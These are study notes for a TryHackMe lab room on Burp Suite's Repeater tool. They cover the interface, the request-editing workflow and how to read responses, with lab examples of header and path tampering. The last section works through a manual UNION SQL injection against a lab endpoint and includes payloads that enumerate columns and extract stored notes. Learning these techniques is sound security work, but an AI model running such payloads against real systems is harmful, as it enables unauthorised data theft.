Burp Suite: Repeater TryHackMe

Overview

Burp Repeater is the main manual testing tool inside Burp Suite. It lets you take a captured request, edit it, resend it as many times as needed, and compare how the server reacts to each change. This is one of the highest-value skills for PT1 web testing.

Core idea: send one request, change one thing, send again, and learn exactly which input controls the application's behaviour.

1) What Repeater Does

Repeater is designed for manual request crafting and iterative testing. Most of the time you will send a real browser request from Proxy into Repeater, then adjust parameters, paths, headers, cookies, or body content.

Best use case: testing how a server reacts to small controlled changes.
Typical targets: IDs, hidden form fields, cookies, access control checks, validation logic, and injection points.
Common workflow: capture in Proxy, send to Repeater with Ctrl + R, edit, resend, compare.

2) Repeater Interface

The interface is built for fast iteration and side-by-side inspection of requests and responses.

Request list: keep multiple test cases open at once.
Request controls: send, cancel, and move through request history.
Request/Response view: edit the raw request and inspect the returned response.
Layout options: switch between horizontal, vertical, or tabbed views.
Inspector: edit structured parts of the request without touching the raw text directly.
Target: shows the destination host/IP and port for the request.

Useful habit: keep one clean baseline request and clone or duplicate it mentally when testing variations, so you always know what changed.

3) Basic Usage Workflow

Capture a valid request in Burp Proxy.
Send it to Repeater with Ctrl + R or right-click Send to Repeater.
Press Send once to establish the baseline response.
Edit one field at a time.
Resend and compare status code, body, headers, length, and behavior changes.

Example: changing the Connection header from close to open can change the returned header value and confirms you are successfully manipulating the request path through the server stack.

4) Response Views and Message Analysis

Repeater gives several ways to inspect the response depending on what you are testing.

Pretty: readable formatted output, best default choice.
Raw: exact server response.
Hex: byte-level output, useful for binary or unusual payload analysis.
Render: visual rendering of the returned page.
Show non-printable characters: useful when line breaks, tabs, or low-level formatting matters.

What usually matters most: status code, reflected input, response length, interesting error text, changed headers, and whether the page content meaningfully changes.

5) Inspector

Inspector is the structured editor on the right-hand side of Repeater. It makes request tampering faster and safer than manually editing the raw request when you only want to change one component.

Request attributes: path, method, protocol version.
Query parameters: values passed in the URL.
Body parameters: POSTed fields and form values.
Cookies: session values and client-side state.
Headers: add, remove, or edit request headers.
Response headers: visible after sending, but not editable.

Good use case: add unusual headers, change cookies, or switch request method/protocol without manually rebuilding the whole request.

6) Simple Practical Example: Header Tampering

The room first shows a simple example: send a request for / to Repeater, then add a custom header and observe the change in the response.

GET / HTTP/1.1
Host: MACHINE_IP
Connection: close
FlagAuthorised: True

This is a clean demonstration of why Repeater matters: the browser UI may never expose this behavior, but direct request editing will.

7) Path Tampering and Validation Testing

The room challenge also highlights a common pattern: applications may appear to validate numeric endpoints, but insecure backend validation can still be bypassed by manually changing the path in Repeater.

Browse to endpoints like /products/3.
Send the request to Repeater.
Change the path value manually and watch how the server handles invalid or unexpected input.

PT1 lesson: never trust client-side navigation, disabled UI, or “normal” link patterns. Repeater is how you test what the server actually enforces.

8) Extra-Mile Example: Manual Union SQLi with Repeater

The room finishes with a more realistic example: exploiting a Union SQL Injection in the ID portion of the /about/ID endpoint using Repeater.

Step 1: Confirm the injection point

Add a single quote to the path and resend:

GET /about/2' HTTP/1.1
Host: MACHINE_IP

A 500 Internal Server Error strongly suggests the query has been broken.

Step 2: Use verbose errors

The returned error reveals the backend query:

SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'

This gives you the table name and the number of selected columns immediately.

Step 3: Enumerate column names

/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

This reveals columns such as id, firstName, lastName, pfpLink, role, shortRole, bio, and notes.

Step 4: Extract the target data

0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

Why Repeater is perfect here: you can tweak one payload at a time, observe exact server errors, and build the attack incrementally without losing context.

Exam Notes (PT1)

Always send interesting requests from Proxy to Repeater before making changes.
Change one variable at a time so you can attribute the response difference correctly.
Use Inspector for fast edits to headers, cookies, path, query parameters, and request body values.
Compare status code, response length, reflected text, and error messages on every resend.
Repeater is essential for IDOR, auth bypass, input validation flaws, SQLi, XSS, and business logic testing.